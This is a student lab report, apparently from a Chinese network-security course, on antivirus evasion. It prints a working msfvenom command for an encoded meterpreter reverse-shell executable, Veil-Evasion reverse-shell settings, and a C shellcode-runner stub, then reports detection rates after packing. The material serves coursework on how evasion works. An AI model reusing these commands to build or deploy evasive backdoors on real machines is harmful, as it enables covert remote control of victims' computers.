20154309 【网络对抗技术】Exp3: 免杀原理与实现

Exp3 免杀原理实践

一、实验目标

1.正确使用msf编码器、msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;

2.通过组合应用各种技术实现恶意代码免杀;

3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

二、实验原理

1.AV厂商检测恶意软件的方式

1.1基于特征码的检测

1.2启发式恶意软件检测

1.3基于行为的恶意软件检测

2.免杀原理

知己知彼,百战不殆,杀毒和免杀是天生存在的对立面,二者之间也是相克相生的。

2.1改变特征码

2.2改变行为

2.3非常规方法

三、实验过程

1.使用Msfvenom编码器

将上次实验用Msfvenom编码器生成的后门程序重命名为
backdoor_lyq.exe,把它放到网站 http://www.virscan.org 上检测。

结果如图

19个报错,48%的报错率,说明裸后门文件被发现的可能性还是不错的。

于是我们试试多次编码后会不会降低被检测率。

输入命令

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 7 -b ‘\x00’
LHOST=[数据删除] LPORT=443 -f exe > notBackdoor.exe

检测结果

我们发现,多次编码并没有掩盖到源码的特征码,或是多次编码的次数使得特征码掩盖又出现了。

2.使用Veil-Evasion

Veil-Evasion是一个与Metasploit有点类似的软件,已经在kali虚拟机里,没有的可以进行在线安装。

由于在线安装没有成功,甚至装成功后不能使用。我考了别人安装好的kali镜像进行操作。

在41个payload中选择第21个进行制作

`use python/meterpreter/rev_tcp.py(设置payload)
 
set LHOST Kali的IP(设置反弹连接IP)
 
set port 端口号(设置反弹端口,默认为4444)
 
generate`

设置信息,LocalHost设置为自己的IP地址,并把LocalPort设置成自己的学号4309+500=4809。

给生成的程序起个名字。

在kali找到该文件,复制到Windows主机上。

在Windows主机上用AV扫描

放在virscan.org上进行扫描,检测率大大降低,但360真是鸡肋

用msfconsole对主机后门文件进行回连

可以通过这个对Windows进行各种操作,我又截了个屏,这回就没用摄像头了~

3.shellcode再编译

Kali上使用命令生成一个C语言格式的Shellcode数组。

Win主机上使用Codeblocks建立C文件,将Shellcode数组拷贝到其中,加上头文件和一个小函数。

`int main()
{
	int (*func)() = (int(*)())buf;
	func();
}
`

运行该生成文件,主机AV立即报错

扫描结果如下

仅有八个AV扫描出病毒,360竟然出现在其中

检出率大大降低。

4.加壳

给可执行的病毒进行加壳

发现并没有加壳成功,找不到之前生成的病毒文件

原来是终端没有在当前目录下打开。

将加壳后的文件放在virscan.org中检测

跟之前扫描结果类似,检出率降低少。

四、实验感想

1.离实战还缺什么技术和步骤?

在实际应用中,我们不可能这么容易将后门植入到别人的电脑,或许可以通过钓鱼网站之类的方法来实现。而且按照我这次实现免杀的方法,是在win下面进行编译,实际运用中也不知道该如何实现。这点还需要我们去思考,去探索。而且现在各种杀毒软件层出不穷,它们的病毒库在不断地更新,功能也在不断地完善,今天实现了免杀可能过段时间就失败了,所以还需要我们根据漏洞自己写代码,而不是用软件来直接生成。

2.实践总结与体会

网络安全的问题就在我们的身边。之前一直觉得只要安装好杀毒软件,定期杀毒、给电脑体检就可以了,然而我们自己都能实现免杀,更不要说那些恶意想要攻击你电脑的人了。在当今社会,处处离不开网络,因此我们要时时刻刻提高安全防范意识,定期检查自己的电脑,防止别人恶意盗取利用自己的信息。希望可以将自己学到的知识与实践相结合,帮助别人解决更多的问题。

posted on 2018-04-11 09:34  4309yanqing  阅读(116)  评论(0编辑  收藏

导航